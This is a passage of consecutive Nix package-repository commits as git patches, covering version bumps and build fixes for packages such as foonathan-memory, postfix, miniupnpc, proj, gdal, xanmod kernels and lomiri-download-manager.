(cherry picked from commit e27f65376c49a45f8c2546c8b68cc0cc4b002b4b)
---
 .../0001-Use-system-doctest.patch.patch       | 26 +++++++++++++++++++
 pkgs/by-name/fo/foonathan-memory/package.nix  | 18 ++++++-------
 2 files changed, 34 insertions(+), 10 deletions(-)
 create mode 100644 pkgs/by-name/fo/foonathan-memory/0001-Use-system-doctest.patch.patch

diff --git a/pkgs/by-name/fo/foonathan-memory/0001-Use-system-doctest.patch.patch b/pkgs/by-name/fo/foonathan-memory/0001-Use-system-doctest.patch.patch
new file mode 100644
index 000000000000..6c7934370722
--- /dev/null
+++ b/pkgs/by-name/fo/foonathan-memory/0001-Use-system-doctest.patch.patch
@@ -0,0 +1,26 @@
+From: =?utf-8?q?Timo_R=C3=B6hling?= <timo@gaussglocke.de>
+Date: Wed, 2 Dec 2020 15:59:22 +0100
+Subject: Use system doctest
+
+Forwarded: not-needed
+---
+ test/CMakeLists.txt | 6 +-----
+ 1 file changed, 1 insertion(+), 5 deletions(-)
+
+diff --git a/test/CMakeLists.txt b/test/CMakeLists.txt
+index 37359ea..f269cfb 100644
+--- a/test/CMakeLists.txt
++++ b/test/CMakeLists.txt
+@@ -8,11 +8,7 @@ target_link_libraries(foonathan_memory_profiling foonathan_memory)
+ target_include_directories(foonathan_memory_profiling PRIVATE
+                             ${FOONATHAN_MEMORY_SOURCE_DIR}/include/foonathan/memory)
+ 
+-# Fetch doctest.
+-message(STATUS "Fetching doctest")
+-include(FetchContent)
+-FetchContent_Declare(doctest URL https://github.com/doctest/doctest/archive/refs/tags/v2.4.12.zip)
+-FetchContent_MakeAvailable(doctest)
++find_package(doctest REQUIRED)
+ 
+ set(tests
+     test_allocator.hpp
diff --git a/pkgs/by-name/fo/foonathan-memory/package.nix b/pkgs/by-name/fo/foonathan-memory/package.nix
index ecfd1a226b8b..703ff9e464ec 100644
--- a/pkgs/by-name/fo/foonathan-memory/package.nix
+++ b/pkgs/by-name/fo/foonathan-memory/package.nix
@@ -2,28 +2,25 @@
   stdenv,
   lib,
   fetchFromGitHub,
-  fetchpatch,
   cmake,
   doctest,
 }:
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "foonathan-memory";
-  version = "0.7-3";
+  version = "0.7-4";
 
   src = fetchFromGitHub {
     owner = "foonathan";
     repo = "memory";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-nLBnxPbPKiLCFF2TJgD/eJKJJfzktVBW3SRW2m3WK/s=";
+    hash = "sha256-qGbI7SL6lDbJzn2hkqaYw35QAyvSPxcZTb0ltDkPUSo=";
   };
 
   patches = [
     # do not download doctest, use the system doctest instead
-    (fetchpatch {
-      url = "https://sources.debian.org/data/main/f/foonathan-memory/0.7.3-2/debian/patches/0001-Use-system-doctest.patch";
-      hash = "sha256-/MuDeeIh+7osz11VfsAsQzm9HMZuifff+MDU3bDDxRE=";
-    })
+    # originally from: https://sources.debian.org/data/main/f/foonathan-memory/0.7.3-2/debian/patches/0001-Use-system-doctest.patch
+    ./0001-Use-system-doctest.patch.patch
   ];
 
   outputs = [
@@ -44,12 +41,13 @@ stdenv.mkDerivation (finalAttrs: {
 
   # fix a circular dependency between "out" and "dev" outputs
   postInstall = ''
-    mkdir -p $dev/lib
-    mv $out/lib/foonathan_memory $dev/lib/
+    mkdir -p $out/lib/cmake
+    mv $out/lib/foonathan_memory/cmake $out/lib/cmake/foonathan_memory
+    rmdir $out/lib/foonathan_memory
   '';
 
   meta = with lib; {
-    homepage = "https://github.com/foonathan/memory";
+    homepage = "https://memory.foonathan.net/";
     changelog = "https://github.com/foonathan/memory/releases/tag/${finalAttrs.src.rev}";
     description = "STL compatible C++ memory allocator library";
     mainProgram = "nodesize_dbg";

From 0eef838fb4d7349f8c3677bd613cc0ceddbb17f8 Mon Sep 17 00:00:00 2001
From: Pol Dellaiera <pol.dellaiera@protonmail.com>
Date: Wed, 4 Jun 2025 08:16:14 +0200
Subject: [PATCH 0554/4511] Revert "[Backport release-25.05] nixos/postfix: add
 slow domain"

---
 nixos/modules/services/mail/postfix.nix | 52 ++-----------------------
 1 file changed, 4 insertions(+), 48 deletions(-)

diff --git a/nixos/modules/services/mail/postfix.nix b/nixos/modules/services/mail/postfix.nix
index 4936edc3dd25..34c236dcd2a6 100644
--- a/nixos/modules/services/mail/postfix.nix
+++ b/nixos/modules/services/mail/postfix.nix
@@ -13,7 +13,7 @@ let
 
   haveAliases = cfg.postmasterAlias != "" || cfg.rootAlias != "" || cfg.extraAliases != "";
   haveCanonical = cfg.canonical != "";
-  haveTransport = cfg.transport != "" || (cfg.enableSlowDomains && cfg.slowDomains != [ ]);
+  haveTransport = cfg.transport != "";
   haveVirtual = cfg.virtual != "";
   haveLocalRecipients = cfg.localRecipients != null;
 
@@ -319,20 +319,13 @@ let
   aliasesFile = pkgs.writeText "postfix-aliases" aliases;
   canonicalFile = pkgs.writeText "postfix-canonical" cfg.canonical;
   virtualFile = pkgs.writeText "postfix-virtual" cfg.virtual;
-  transportFile = pkgs.writeText "postfix-transport" (
-    lib.optionalString (cfg.enableSlowDomains && cfg.slowDomains != [ ]) (
-      lib.concatMapStrings (domain: ''
-        ${domain} slow:
-      '') cfg.slowDomains
-    )
-    + cfg.transport
-  );
   localRecipientMapFile = pkgs.writeText "postfix-local-recipient-map" (
     lib.concatMapStrings (x: x + " ACCEPT\n") cfg.localRecipients
   );
   checkClientAccessFile = pkgs.writeText "postfix-check-client-access" cfg.dnsBlacklistOverrides;
   mainCfFile = pkgs.writeText "postfix-main.cf" mainCf;
   masterCfFile = pkgs.writeText "postfix-master.cf" masterCfContent;
+  transportFile = pkgs.writeText "postfix-transport" cfg.transport;
   headerChecksFile = pkgs.writeText "postfix-header-checks" headerChecks;
 
 in
@@ -557,32 +550,6 @@ in
         '';
       };
 
-      enableSlowDomains = lib.mkEnableOption "slow domains feature for rate limiting specific domains";
-
-      slowDomains = lib.mkOption {
-        type = with lib.types; listOf str;
-        default = [ ];
-        example = [
-          "orange.fr"
-          "gmail.com"
-        ];
-        description = "List of domains to be rate-limited using the slow transport.";
-      };
-
-      slowDomainsConfig = {
-        defaultDestinationRateDelay = lib.mkOption {
-          type = lib.types.str;
-          default = "5s";
-          description = "Default rate delay for destinations.";
-        };
-
-        defaultDestinationConcurrencyLimit = lib.mkOption {
-          type = lib.types.int;
-          default = 3;
-          description = "Concurrency limit for slow destinations.";
-        };
-      };
-
       aliasMapType = lib.mkOption {
         type =
           with lib.types;
@@ -1018,10 +985,7 @@ in
             smtpd_tls_key_file = cfg.sslKey;
 
             smtpd_tls_security_level = lib.mkDefault "may";
-          }
-          // lib.optionalAttrs cfg.enableSlowDomains {
-            default_destination_rate_delay = cfg.slowDomainsConfig.defaultDestinationRateDelay;
-            default_destination_concurrency_limit = cfg.slowDomainsConfig.defaultDestinationConcurrencyLimit;
+
           };
 
         services.postfix.masterConfig =
@@ -1113,14 +1077,6 @@ in
                 lib.concatLists (lib.mapAttrsToList mkKeyVal cfg.submissionOptions);
             };
           }
-          // lib.optionalAttrs cfg.enableSlowDomains {
-            slow = {
-              command = "smtp";
-              type = "unix";
-              private = true;
-              maxproc = 2;
-            };
-          }
           // lib.optionalAttrs cfg.enableSmtp {
             smtp_inet = {
               name = "smtp";
@@ -1172,7 +1128,7 @@ in
       (lib.mkIf haveCanonical {
         services.postfix.mapFiles.canonical = canonicalFile;
       })
-      (lib.mkIf (haveTransport || (cfg.enableSlowDomains && cfg.slowDomains != [ ])) {
+      (lib.mkIf haveTransport {
         services.postfix.mapFiles.transport = transportFile;
       })
       (lib.mkIf haveVirtual {

From 29d083207f495b723de4f25ed80b2ffe41df9baf Mon Sep 17 00:00:00 2001
From: phanirithvij <phanirithvij2000@gmail.com>
Date: Tue, 3 Jun 2025 19:59:23 +0530
Subject: [PATCH 0555/4511] miniupnpc: 2.3.2 -> 2.3.3

Signed-off-by: phanirithvij <phanirithvij2000@gmail.com>
(cherry picked from commit f2b0caeab6851a2136c295bb1ce14508fc75e175)
---
 pkgs/by-name/mi/miniupnpc/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mi/miniupnpc/package.nix b/pkgs/by-name/mi/miniupnpc/package.nix
index 2078657acda4..08a98bbe4c00 100644
--- a/pkgs/by-name/mi/miniupnpc/package.nix
+++ b/pkgs/by-name/mi/miniupnpc/package.nix
@@ -9,13 +9,13 @@
 
 stdenv.mkDerivation rec {
   pname = "miniupnpc";
-  version = "2.3.2";
+  version = "2.3.3";
 
   src = fetchFromGitHub {
     owner = "miniupnp";
     repo = "miniupnp";
     tag = "miniupnpc_${lib.replaceStrings [ "." ] [ "_" ] version}";
-    hash = "sha256-Fjd4JPk6Uc7cPPQu9NiBv82XArd11TW+7sTL3wC9/+s=";
+    hash = "sha256-8EWchUppW4H2kEUCGBXIk1meARJj2usKKO5gFYPoW3s=";
   };
 
   sourceRoot = "${src.name}/miniupnpc";

From 98a20bc5e77bcbae9ae453fc4c025e354af7b681 Mon Sep 17 00:00:00 2001
From: phanirithvij <phanirithvij2000@gmail.com>
Date: Tue, 3 Jun 2025 19:44:38 +0530
Subject: [PATCH 0556/4511] miniupnpc: fix external-ip command

Signed-off-by: phanirithvij <phanirithvij2000@gmail.com>
(cherry picked from commit 937f8bf22420e27f54f0caff2a3b82adb2d62f23)
---
 pkgs/by-name/mi/miniupnpc/package.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/by-name/mi/miniupnpc/package.nix b/pkgs/by-name/mi/miniupnpc/package.nix
index 08a98bbe4c00..da622d060320 100644
--- a/pkgs/by-name/mi/miniupnpc/package.nix
+++ b/pkgs/by-name/mi/miniupnpc/package.nix
@@ -39,6 +39,10 @@ stdenv.mkDerivation rec {
     mv $out/bin/upnpc-* $out/bin/upnpc
     mv $out/bin/upnp-listdevices-* $out/bin/upnp-listdevices
     mv $out/bin/external-ip.sh $out/bin/external-ip
+    chmod +x $out/bin/external-ip
+    patchShebangs $out/bin/external-ip
+    substituteInPlace $out/bin/external-ip \
+      --replace-fail "upnpc" $out/bin/upnpc
   '';
 
   __darwinAllowLocalNetworking = true;

From bd2e68c8acac510808ca2a5e08ecc8cdb2d5eea0 Mon Sep 17 00:00:00 2001
From: phanirithvij <phanirithvij2000@gmail.com>
Date: Tue, 3 Jun 2025 19:59:37 +0530
Subject: [PATCH 0557/4511] miniupnpc: finalAttrs

Signed-off-by: phanirithvij <phanirithvij2000@gmail.com>
(cherry picked from commit 21205258f5bb0a07cd397b7384c3c283455eda59)
---
 pkgs/by-name/mi/miniupnpc/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/mi/miniupnpc/package.nix b/pkgs/by-name/mi/miniupnpc/package.nix
index da622d060320..d49f0c77a468 100644
--- a/pkgs/by-name/mi/miniupnpc/package.nix
+++ b/pkgs/by-name/mi/miniupnpc/package.nix
@@ -7,18 +7,18 @@
   nixosTests,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "miniupnpc";
   version = "2.3.3";
 
   src = fetchFromGitHub {
     owner = "miniupnp";
     repo = "miniupnp";
-    tag = "miniupnpc_${lib.replaceStrings [ "." ] [ "_" ] version}";
+    tag = "miniupnpc_${lib.replaceStrings [ "." ] [ "_" ] finalAttrs.version}";
     hash = "sha256-8EWchUppW4H2kEUCGBXIk1meARJj2usKKO5gFYPoW3s=";
   };
 
-  sourceRoot = "${src.name}/miniupnpc";
+  sourceRoot = "${finalAttrs.src.name}/miniupnpc";
 
   nativeBuildInputs = [ cmake ];
 
@@ -58,4 +58,4 @@ stdenv.mkDerivation rec {
     license = lib.licenses.bsd3;
     mainProgram = "upnpc";
   };
-}
+})

From cd3ef2939bd2c60b978d0c55d9c39cc4741aba04 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 2 Jun 2025 19:05:50 +0000
Subject: [PATCH 0558/4511] proj: 9.6.0 -> 9.6.1

(cherry picked from commit a372d31536f914500801e535c7e1bf135cc2d6ff)
---
 pkgs/development/libraries/proj/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/proj/default.nix b/pkgs/development/libraries/proj/default.nix
index 4c26b6d854c8..0200ed5e496a 100644
--- a/pkgs/development/libraries/proj/default.nix
+++ b/pkgs/development/libraries/proj/default.nix
@@ -17,13 +17,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "proj";
-  version = "9.6.0";
+  version = "9.6.1";
 
   src = fetchFromGitHub {
     owner = "OSGeo";
     repo = "PROJ";
     rev = finalAttrs.version;
-    hash = "sha256-sY3AIvsQnV2zi38nJs/U6zTsIgIv4/CaZaxinCg5nEs=";
+    hash = "sha256-81wrwBB11SKhq2dTBrvbuUd97iYkTYYrYyKpk2IlHAA=";
   };
 
   patches = [

From 40ba443a8486a540bbbfd54470bba3f4089fa7f9 Mon Sep 17 00:00:00 2001
From: Ivan Mincik <ivan.mincik@gmail.com>
Date: Tue, 3 Jun 2025 09:32:49 +0200
Subject: [PATCH 0559/4511] proj: fix changelog file URL

(cherry picked from commit 9aea39cab1cf070ad500047c5f08b49d6e9de43d)
---
 pkgs/development/libraries/proj/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/development/libraries/proj/default.nix b/pkgs/development/libraries/proj/default.nix
index 0200ed5e496a..be79b8659203 100644
--- a/pkgs/development/libraries/proj/default.nix
+++ b/pkgs/development/libraries/proj/default.nix
@@ -82,7 +82,7 @@ stdenv.mkDerivation (finalAttrs: {
   };
 
   meta = with lib; {
-    changelog = "https://github.com/OSGeo/PROJ/blob/${finalAttrs.src.rev}/NEWS";
+    changelog = "https://github.com/OSGeo/PROJ/blob/${finalAttrs.src.rev}/NEWS.md";
     description = "Cartographic Projections Library";
     homepage = "https://proj.org/";
     license = licenses.mit;

From 8a79692f850fd866aa31f9f07a93027286f23e9e Mon Sep 17 00:00:00 2001
From: Ivan Mincik <ivan.mincik@gmail.com>
Date: Tue, 3 Jun 2025 19:44:43 +0200
Subject: [PATCH 0560/4511] gdal: fix tests with proj 9.6.1

(cherry picked from commit f422e1b13d3c9017fa78082bd75a13eee29ba614)
---
 pkgs/by-name/gd/gdal/package.nix | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/pkgs/by-name/gd/gdal/package.nix b/pkgs/by-name/gd/gdal/package.nix
index 5283408003d8..609ce18ba532 100644
--- a/pkgs/by-name/gd/gdal/package.nix
+++ b/pkgs/by-name/gd/gdal/package.nix
@@ -3,6 +3,7 @@
   stdenv,
   callPackage,
   fetchFromGitHub,
+  fetchpatch,
 
   useMinimalFeatures ? false,
   useArmadillo ? (!useMinimalFeatures),
@@ -92,6 +93,18 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-8HcbA9Cj2i6DuqcJGiwqd6GkqbJP9oLdmA34g7kc/ng=";
   };
 
+  patches = [
+    # https://github.com/OSGeo/gdal/issues/12511
+    (fetchpatch {
+      url = "https://github.com/OSGeo/gdal/commit/1dd320b086606958fe970457a0640bdc4c4d494a.patch";
+      hash = "sha256-SXlNjgR4q7i3PrFfh/wzEFMrSGHQuB+ecXbGJgsROe0=";
+    })
+    (fetchpatch {
+      url = "https://github.com/OSGeo/gdal/commit/6da26aec591656f97fd882b07d37c21aabd06373.patch";
+      hash = "sha256-s70j/S9YKGRqxwrabsV3ePeGSsnDh/ouGLtLEm+z0lU=";
+    })
+  ];
+
   nativeBuildInputs =
     [
       bison

From af7828e6b35f49cb5e616ca18efb4144ca8132a5 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Sat, 31 May 2025 07:52:20 +0200
Subject: [PATCH 0561/4511] linux_xanmod: 6.12.30 -> 6.12.31

(cherry picked from commit 5d2b0bfe6681b353809ad4884127e7811d70809a)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index 174be9aacc18..f55a45a6d7c5 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -14,8 +14,8 @@ let
   # kernel config in the xanmod version commit
   variants = {
     lts = {
-      version = "6.12.30";
-      hash = "sha256-OqO41rbb3nBegL+ZjgqR0RGwrka6oLv0QOYXJ8Wdpv8=";
+      version = "6.12.31";
+      hash = "sha256-qYbwHt6j2Sh7V1PDjp1oEIKo+k2T5PcRz5MzZgYwbqg=";
     };
     main = {
       version = "6.14.8";

From a5ce63595f5d21efe32a9561d285270f1e33bb67 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Sat, 31 May 2025 07:55:24 +0200
Subject: [PATCH 0562/4511] linux_xanmod_latest: 6.14.8 -> 6.14.9

(cherry picked from commit adec134fc27c6c2b698125c7ab3c20b864c11e51)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index f55a45a6d7c5..5182373a8dd4 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -18,8 +18,8 @@ let
       hash = "sha256-qYbwHt6j2Sh7V1PDjp1oEIKo+k2T5PcRz5MzZgYwbqg=";
     };
     main = {
-      version = "6.14.8";
-      hash = "sha256-ap3NaM/pk+TWg3RBRxFJPwnfv2n042r47bo66jhj3ck=";
+      version = "6.14.9";
+      hash = "sha256-kwMvXdqr1i3UZ3+N/qsQDjU1TvnymS54tCdOLNxL0nc=";
     };
   };
 

From 8e9663773c1c1073242b5c97f16fbd2ccc316e67 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 4 Jun 2025 06:09:36 +0000
Subject: [PATCH 0563/4511] json-schema-catalog-rs: 0.1.1 -> 0.2.0

(cherry picked from commit 496f1abb7a3103e6d7535390468221565858d834)
---
 pkgs/by-name/js/json-schema-catalog-rs/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/js/json-schema-catalog-rs/package.nix b/pkgs/by-name/js/json-schema-catalog-rs/package.nix
index 00c40f562221..179906351b01 100644
--- a/pkgs/by-name/js/json-schema-catalog-rs/package.nix
+++ b/pkgs/by-name/js/json-schema-catalog-rs/package.nix
@@ -9,16 +9,16 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "json-schema-catalog-rs";
-  version = "0.1.1";
+  version = "0.2.0";
 
   src = fetchFromGitHub {
     owner = "roberth";
     repo = "json-schema-catalog-rs";
     tag = finalAttrs.version;
-    hash = "sha256-BbEPpolv2aoKFlfZ6A+CmUlr5sySGIqRlv3rLgf1VkA=";
+    hash = "sha256-AEtE57WYmuTaU1hQUw2NyA+hj9odIktZVQ+mDE2+Sdc=";
   };
 
-  cargoHash = "sha256-YI2LN2DBzC1B5wCZOrGAZi/hkKHoAm6xLkdJ+8DDFo8=";
+  cargoHash = "sha256-fW2sODIFRXcDfzPnmYW0sH/dLe8sbRjQLtLWDlAJPxQ=";
 
   doInstallCheck = true;
   nativeInstallCheckInputs = [ versionCheckHook ];

From c7e0f9f02e8b40550a3db79022213c188d8f90b4 Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Sat, 31 May 2025 11:06:10 +0200
Subject: [PATCH 0564/4511] lomiri.lomiri-download-manager: 0.1.3 -> 0.2.1

(cherry picked from commit 282c93a98bb2cbcd6b26507215750ea0f99da771)
---
 ...treewide-Switch-to-glog-CMake-module.patch | 154 ------------------
 .../lomiri-download-manager/default.nix       |  41 ++---
 2 files changed, 18 insertions(+), 177 deletions(-)
 delete mode 100644 pkgs/desktops/lomiri/services/lomiri-download-manager/1001-treewide-Switch-to-glog-CMake-module.patch

diff --git a/pkgs/desktops/lomiri/services/lomiri-download-manager/1001-treewide-Switch-to-glog-CMake-module.patch b/pkgs/desktops/lomiri/services/lomiri-download-manager/1001-treewide-Switch-to-glog-CMake-module.patch
deleted file mode 100644
index c3ca4f4b13b8..000000000000
--- a/pkgs/desktops/lomiri/services/lomiri-download-manager/1001-treewide-Switch-to-glog-CMake-module.patch
+++ /dev/null
@@ -1,154 +0,0 @@
-From a487908c22fe0a37669bbe5a8bdcd945b05b2f33 Mon Sep 17 00:00:00 2001
-From: OPNA2608 <opna2608@protonmail.com>
-Date: Mon, 20 Jan 2025 19:06:54 +0100
-Subject: [PATCH] treewide: Switch to glog CMake module
-
----
- CMakeLists.txt                           | 2 +-
- src/common/priv/CMakeLists.txt           | 2 +-
- src/common/public/CMakeLists.txt         | 2 +-
- src/downloads/daemon/CMakeLists.txt      | 2 +-
- src/downloads/priv/CMakeLists.txt        | 2 +-
- src/downloads/qml/CMakeLists.txt         | 2 +-
- src/downloads/test-daemon/CMakeLists.txt | 2 +-
- src/extractor/CMakeLists.txt             | 2 +-
- src/uploads/daemon/CMakeLists.txt        | 2 +-
- src/uploads/priv/CMakeLists.txt          | 2 +-
- 10 files changed, 10 insertions(+), 10 deletions(-)
-
-diff --git a/CMakeLists.txt b/CMakeLists.txt
-index 8c4750a2..e44d09ad 100644
---- a/CMakeLists.txt
-+++ b/CMakeLists.txt
-@@ -50,10 +50,10 @@ set(CMAKE_AUTOMOC ON)
- 
- find_package(Qt5 COMPONENTS Core DBus Network Sql Test REQUIRED)
- find_package(Boost COMPONENTS log program_options REQUIRED)
-+find_package(glog REQUIRED)
- 
- find_package(PkgConfig REQUIRED)
- pkg_check_modules(DBUS REQUIRED dbus-1)
--pkg_check_modules(GLOG REQUIRED libglog)
- pkg_check_modules(LOMIRI_API REQUIRED liblomiri-api)
- 
- if(USE_SYSTEMD)
-diff --git a/src/common/priv/CMakeLists.txt b/src/common/priv/CMakeLists.txt
-index e7723f3d..105ec5d2 100644
---- a/src/common/priv/CMakeLists.txt
-+++ b/src/common/priv/CMakeLists.txt
-@@ -75,7 +75,7 @@ set_target_properties(
- 
- target_link_libraries(${TARGET}
- 	${LOMIRI_API_LDFLAGS}
--	${GLOG_LIBRARIES}
-+	glog::glog
- 	Qt5::Network
- 	Qt5::Sql
- 	Qt5::Core
-diff --git a/src/common/public/CMakeLists.txt b/src/common/public/CMakeLists.txt
-index 4b1e8660..eeeeab13 100644
---- a/src/common/public/CMakeLists.txt
-+++ b/src/common/public/CMakeLists.txt
-@@ -50,7 +50,7 @@ set_target_properties(
- )
- 
- target_link_libraries(${TARGET}
--	${GLOG_LIBRARIES}
-+	glog::glog
- 	Qt5::DBus
- 	Qt5::Network
- )
-diff --git a/src/downloads/daemon/CMakeLists.txt b/src/downloads/daemon/CMakeLists.txt
-index cdc9f83b..24e2334c 100644
---- a/src/downloads/daemon/CMakeLists.txt
-+++ b/src/downloads/daemon/CMakeLists.txt
-@@ -16,7 +16,7 @@ add_executable(${TARGET}
- )
- 
- target_link_libraries(${TARGET}
--	${GLOG_LIBRARIES}
-+	glog::glog
- 	Qt5::Core
- 	ldm-common
- 	ldm-priv-common
-diff --git a/src/downloads/priv/CMakeLists.txt b/src/downloads/priv/CMakeLists.txt
-index 9eaf3092..c453a7a1 100644
---- a/src/downloads/priv/CMakeLists.txt
-+++ b/src/downloads/priv/CMakeLists.txt
-@@ -65,7 +65,7 @@ set_target_properties(
- )
- 
- target_link_libraries(${TARGET}
--	${GLOG_LIBRARIES}
-+	glog::glog
- 	Qt5::DBus
- 	Qt5::Sql
- 	ldm-common
-diff --git a/src/downloads/qml/CMakeLists.txt b/src/downloads/qml/CMakeLists.txt
-index 7e2d9285..49d68f1c 100644
---- a/src/downloads/qml/CMakeLists.txt
-+++ b/src/downloads/qml/CMakeLists.txt
-@@ -34,7 +34,7 @@ find_package(Qt5 COMPONENTS Core Qml Quick REQUIRED)
- target_link_libraries(${TARGET} Qt5::Core Qt5::Qml Qt5::Quick)
- 
- target_link_libraries(${TARGET}
--	${GLOG_LIBRARIES}
-+	glog::glog
- 	ldm-common
- 	lomiri-download-manager-common
- 	lomiri-download-manager-client
-diff --git a/src/downloads/test-daemon/CMakeLists.txt b/src/downloads/test-daemon/CMakeLists.txt
-index d12207a1..6734e65d 100644
---- a/src/downloads/test-daemon/CMakeLists.txt
-+++ b/src/downloads/test-daemon/CMakeLists.txt
-@@ -30,7 +30,7 @@ add_executable(${TARGET}
- )
- 
- target_link_libraries(${TARGET}
--	${GLOG_LIBRARIES}
-+	glog::glog
- 	Qt5::Core
- 	Qt5::DBus
- 	Qt5::Network
-diff --git a/src/extractor/CMakeLists.txt b/src/extractor/CMakeLists.txt
-index 8c40b9b5..3615d5c7 100644
---- a/src/extractor/CMakeLists.txt
-+++ b/src/extractor/CMakeLists.txt
-@@ -23,7 +23,7 @@ add_executable(${TARGET}
- )
- 
- target_link_libraries(${TARGET}
--	${GLOG_LIBRARIES}
-+	glog::glog
- 	Qt5::Core
- 	${Boost_LIBRARIES}
- 	ldm-priv-common
-diff --git a/src/uploads/daemon/CMakeLists.txt b/src/uploads/daemon/CMakeLists.txt
-index 157c6fd6..3692d3c9 100644
---- a/src/uploads/daemon/CMakeLists.txt
-+++ b/src/uploads/daemon/CMakeLists.txt
-@@ -16,7 +16,7 @@ add_executable(${TARGET}
- )
- 
- target_link_libraries(${TARGET}
--	${GLOG_LIBRARIES}
-+	glog::glog
- 	Qt5::Core
- 	ldm-common
- 	ldm-priv-common
-diff --git a/src/uploads/priv/CMakeLists.txt b/src/uploads/priv/CMakeLists.txt
-index dff67e35..672e49ef 100644
---- a/src/uploads/priv/CMakeLists.txt
-+++ b/src/uploads/priv/CMakeLists.txt
-@@ -47,7 +47,7 @@ set_target_properties(
- )
- 
- target_link_libraries(${TARGET}
--	${GLOG_LIBRARIES}
-+	glog::glog
- 	Qt5::DBus
- 	Qt5::Sql
- 	ldm-common
--- 
-2.47.1
-
diff --git a/pkgs/desktops/lomiri/services/lomiri-download-manager/default.nix b/pkgs/desktops/lomiri/services/lomiri-download-manager/default.nix
index 5a1db5b4dd6b..81dcef5d8914 100644
--- a/pkgs/desktops/lomiri/services/lomiri-download-manager/default.nix
+++ b/pkgs/desktops/lomiri/services/lomiri-download-manager/default.nix
@@ -15,6 +15,7 @@
   glog,
   graphviz,
   gtest,
+  libapparmor,
   lomiri-api,
   pkg-config,
   python3,
@@ -28,13 +29,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "lomiri-download-manager";
-  version = "0.1.3";
+  version = "0.2.1";
 
   src = fetchFromGitLab {
     owner = "ubports";
     repo = "development/core/lomiri-download-manager";
-    rev = finalAttrs.version;
-    hash = "sha256-LhhO/zZ4wNiRd235NB2b08SQcCZt1awN/flcsLs2m8U=";
+    tag = finalAttrs.version;
+    hash = "sha256-dVyel4NL5LFORNTQzOyeTFkt9Wn23+4uwHsKcj+/0rk=";
   };
 
   outputs = [
@@ -43,31 +44,23 @@ stdenv.mkDerivation (finalAttrs: {
   ] ++ lib.optionals withDocumentation [ "doc" ];
 
   patches = [
-    # This change seems incomplete, potentially breaks things on systems that don't use AppArmor mediation
-    # https://gitlab.com/ubports/development/core/lomiri-download-manager/-/merge_requests/24#note_1746801673
+    # Remove when version > 0.2.1
     (fetchpatch {
-      name = "0001-lomiri-download-manager-Revert-Drop-GetConnectionAppArmorSecurityContext.patch";
-      url = "https://gitlab.com/ubports/development/core/lomiri-download-manager/-/commit/2367f3dff852b69457b1a65a487cb032c210569f.patch";
-      revert = true;
-      hash = "sha256-xS0Wz6d+bZWj/kDGK2WhOduzyP4Rgz3n9n2XY1Zu5hE=";
+      name = "0001-lomiri-download-manager-treewide-Make-pkg-config-includedir-values-reasonable.patch";
+      url = "https://gitlab.com/ubports/development/core/lomiri-download-manager/-/commit/230aa1965917f90d235f55477a257eca1f5eaf46.patch";
+      hash = "sha256-Kdmu4U98Yc213pHS0o4DjpG8T5p50Q5hijRgdvscA/c=";
     })
-
-    # Fix compatibility with glog 0.7.x
-    # Remove when https://gitlab.com/ubports/development/core/lomiri-download-manager/-/merge_requests/29 merged & in release (vendored patch was manually backported)
-    ./1001-treewide-Switch-to-glog-CMake-module.patch
   ];
 
   postPatch = ''
     # Substitute systemd's prefix in pkg-config call
     substituteInPlace CMakeLists.txt \
       --replace-fail 'pkg_get_variable(SYSTEMD_USER_DIR systemd systemduserunitdir)' 'pkg_get_variable(SYSTEMD_USER_DIR systemd systemduserunitdir DEFINE_VARIABLES prefix=''${CMAKE_INSTALL_PREFIX})' \
-      --replace-fail "\''${CMAKE_INSTALL_LIBDIR}/qt5/qml" "\''${CMAKE_INSTALL_PREFIX}/${qtbase.qtQmlPrefix}"
+      --replace-fail "\''${CMAKE_INSTALL_FULL_LIBDIR}/qt\''${QT_VERSION_MAJOR}/qml" "\''${CMAKE_INSTALL_PREFIX}/${qtbase.qtQmlPrefix}"
 
-    # For our automatic pkg-config output patcher to work, prefix must be used here
-    substituteInPlace src/{common/public,downloads/client,downloads/common,uploads/common}/*.pc.in \
-      --replace-fail 'libdir=''${exec_prefix}' 'libdir=''${prefix}'
-    substituteInPlace src/downloads/client/lomiri-download-manager-client.pc.in \
-      --replace-fail 'includedir=''${exec_prefix}' 'includedir=''${prefix}'
+    # Upstream code is to work around a bug, but it only seems to cause config issues for us
